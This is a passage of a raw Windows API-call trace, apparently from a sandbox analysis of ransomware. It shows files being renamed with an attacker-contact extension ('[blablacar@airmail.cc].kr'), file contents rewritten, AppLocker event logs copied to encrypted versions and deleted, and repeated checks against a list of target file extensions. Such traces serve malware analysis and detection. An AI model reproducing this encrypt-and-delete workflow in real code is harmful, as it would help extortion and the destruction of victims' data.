(lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0094.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.014] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc64 | out: lpNewFilePointer=0x0) returned 1 [0094.014] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0094.014] ReadFile (in: hFile=0x33c, lpBuffer=0x4013058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4013058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0094.019] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0094.019] ReadFile (in: hFile=0x33c, lpBuffer=0x4053058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4053058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0094.022] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3a5fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.022] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0094.022] ReadFile (in: hFile=0x33c, lpBuffer=0x4093058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4093058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0094.038] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.038] WriteFile (in: hFile=0x33c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x3a5fca8, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0094.353] SetEndOfFile (hFile=0x33c) returned 1 [0094.354] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x4293e80 [0094.358] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0094.358] WriteFile (in: hFile=0x33c, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0094.360] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0094.360] WriteFile (in: hFile=0x33c, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0094.362] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0094.362] WriteFile (in: hFile=0x33c, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0094.364] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.364] CloseHandle (hObject=0x33c) returned 1 [0096.534] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0096.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.535] lstrlenW (lpString=".doc") returned 4 [0096.535] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0096.535] lstrlenW (lpString=".docx") returned 5 [0096.535] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0096.535] lstrlenW (lpString=".pdf") returned 4 [0096.535] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0096.535] lstrlenW (lpString=".xls") returned 4 [0096.535] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0096.535] lstrlenW (lpString=".xlsx") returned 5 [0096.535] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0096.535] lstrlenW (lpString=".ppt") returned 4 [0096.535] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0096.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.535] lstrlenW (lpString=".zip") returned 4 [0096.535] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0096.535] lstrlenW (lpString=".rar") returned 4 [0096.535] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0096.535] lstrlenW (lpString=".bz2") returned 4 [0096.535] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0096.535] lstrlenW (lpString=".7z") returned 3 [0096.535] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0096.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.535] lstrlenW (lpString=".dbf") returned 4 [0096.535] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0096.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.536] lstrlenW (lpString=".1cd") returned 4 [0096.536] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0096.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.536] lstrlenW (lpString=".jpg") returned 4 [0096.536] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0096.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.536] lstrlenW (lpString=".doc") returned 4 [0096.536] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0096.536] lstrlenW (lpString=".docx") returned 5 [0096.536] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0096.536] lstrlenW (lpString=".pdf") returned 4 [0096.536] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0096.536] lstrlenW (lpString=".xls") returned 4 [0096.536] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0096.536] lstrlenW (lpString=".xlsx") returned 5 [0096.536] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0096.536] lstrlenW (lpString=".ppt") returned 4 [0096.536] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0096.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.536] lstrlenW (lpString=".zip") returned 4 [0096.536] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0096.536] lstrlenW (lpString=".rar") returned 4 [0096.536] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0096.536] lstrlenW (lpString=".bz2") returned 4 [0096.536] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0096.536] lstrlenW (lpString=".7z") returned 3 [0096.536] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0096.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.536] lstrlenW (lpString=".dbf") returned 4 [0096.536] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0096.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.537] lstrlenW (lpString=".1cd") returned 4 [0096.537] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0096.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0096.537] lstrlenW (lpString=".jpg") returned 4 [0096.537] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0096.537] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.537] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0096.537] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.537] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0096.537] CloseHandle (hObject=0x33c) returned 1 [0096.537] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0096.537] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.537] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.538] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.538] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.538] GetLastError () returned 0x0 [0096.538] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.541] WriteFile (in: hFile=0x36c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0096.543] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.543] WriteFile (in: hFile=0x36c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x12e, lpOverlapped=0x0) returned 1 [0096.544] SetEndOfFile (hFile=0x36c) returned 1 [0096.544] CloseHandle (hObject=0x36c) returned 1 [0096.546] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.546] SetEndOfFile (hFile=0x33c) returned 1 [0096.548] CloseHandle (hObject=0x33c) returned 1 [0096.548] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.548] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0096.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.549] lstrlenW (lpString=".doc") returned 4 [0096.549] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString=".docx") returned 5 [0096.549] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.549] lstrlenW (lpString=".pdf") returned 4 [0096.549] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString=".xls") returned 4 [0096.549] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString=".xlsx") returned 5 [0096.549] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.549] lstrlenW (lpString=".ppt") returned 4 [0096.549] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.549] lstrlenW (lpString=".zip") returned 4 [0096.549] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString=".rar") returned 4 [0096.549] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString=".bz2") returned 4 [0096.549] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString=".7z") returned 3 [0096.549] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.549] lstrlenW (lpString=".dbf") returned 4 [0096.549] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.549] lstrlenW (lpString=".1cd") returned 4 [0096.549] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.550] lstrlenW (lpString=".jpg") returned 4 [0096.550] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.550] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.550] lstrlenW (lpString=".doc") returned 4 [0096.550] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString=".docx") returned 5 [0096.550] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.550] lstrlenW (lpString=".pdf") returned 4 [0096.550] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString=".xls") returned 4 [0096.550] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString=".xlsx") returned 5 [0096.550] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.550] lstrlenW (lpString=".ppt") returned 4 [0096.550] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.550] lstrlenW (lpString=".zip") returned 4 [0096.550] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString=".rar") returned 4 [0096.550] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString=".bz2") returned 4 [0096.550] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.550] lstrlenW (lpString=".7z") returned 3 [0096.550] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.551] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.551] lstrlenW (lpString=".dbf") returned 4 [0096.551] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.551] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.551] lstrlenW (lpString=".1cd") returned 4 [0096.551] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.551] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0096.551] lstrlenW (lpString=".jpg") returned 4 [0096.551] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.551] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.551] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0096.551] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.551] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0096.552] CloseHandle (hObject=0x33c) returned 1 [0096.552] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0096.552] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.552] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.552] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.552] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.552] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.552] GetLastError () returned 0x0 [0096.552] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.557] WriteFile (in: hFile=0x36c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0096.559] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.560] WriteFile (in: hFile=0x36c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x134, lpOverlapped=0x0) returned 1 [0096.560] SetEndOfFile (hFile=0x36c) returned 1 [0096.560] CloseHandle (hObject=0x36c) returned 1 [0096.562] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.563] SetEndOfFile (hFile=0x33c) returned 1 [0096.564] CloseHandle (hObject=0x33c) returned 1 [0096.564] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.564] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0096.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.565] lstrlenW (lpString=".doc") returned 4 [0096.565] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.565] lstrlenW (lpString=".docx") returned 5 [0096.565] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.565] lstrlenW (lpString=".pdf") returned 4 [0096.565] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.565] lstrlenW (lpString=".xls") returned 4 [0096.565] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.565] lstrlenW (lpString=".xlsx") returned 5 [0096.565] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.565] lstrlenW (lpString=".ppt") returned 4 [0096.565] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.565] lstrlenW (lpString=".zip") returned 4 [0096.565] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.565] lstrlenW (lpString=".rar") returned 4 [0096.565] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.565] lstrlenW (lpString=".bz2") returned 4 [0096.565] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.565] lstrlenW (lpString=".7z") returned 3 [0096.565] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.566] lstrlenW (lpString=".dbf") returned 4 [0096.566] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.566] lstrlenW (lpString=".1cd") returned 4 [0096.566] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.566] lstrlenW (lpString=".jpg") returned 4 [0096.566] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.566] lstrlenW (lpString=".doc") returned 4 [0096.566] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.566] lstrlenW (lpString=".docx") returned 5 [0096.566] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.566] lstrlenW (lpString=".pdf") returned 4 [0096.566] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.566] lstrlenW (lpString=".xls") returned 4 [0096.566] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.566] lstrlenW (lpString=".xlsx") returned 5 [0096.566] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.566] lstrlenW (lpString=".ppt") returned 4 [0096.566] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.566] lstrlenW (lpString=".zip") returned 4 [0096.566] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.567] lstrlenW (lpString=".rar") returned 4 [0096.567] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.567] lstrlenW (lpString=".bz2") returned 4 [0096.567] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.567] lstrlenW (lpString=".7z") returned 3 [0096.567] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.567] lstrlenW (lpString=".dbf") returned 4 [0096.567] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.567] lstrlenW (lpString=".1cd") returned 4 [0096.567] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0096.567] lstrlenW (lpString=".jpg") returned 4 [0096.567] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.567] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.567] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0096.567] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.568] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0096.568] CloseHandle (hObject=0x33c) returned 1 [0096.568] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0096.568] GetFileAttributesW 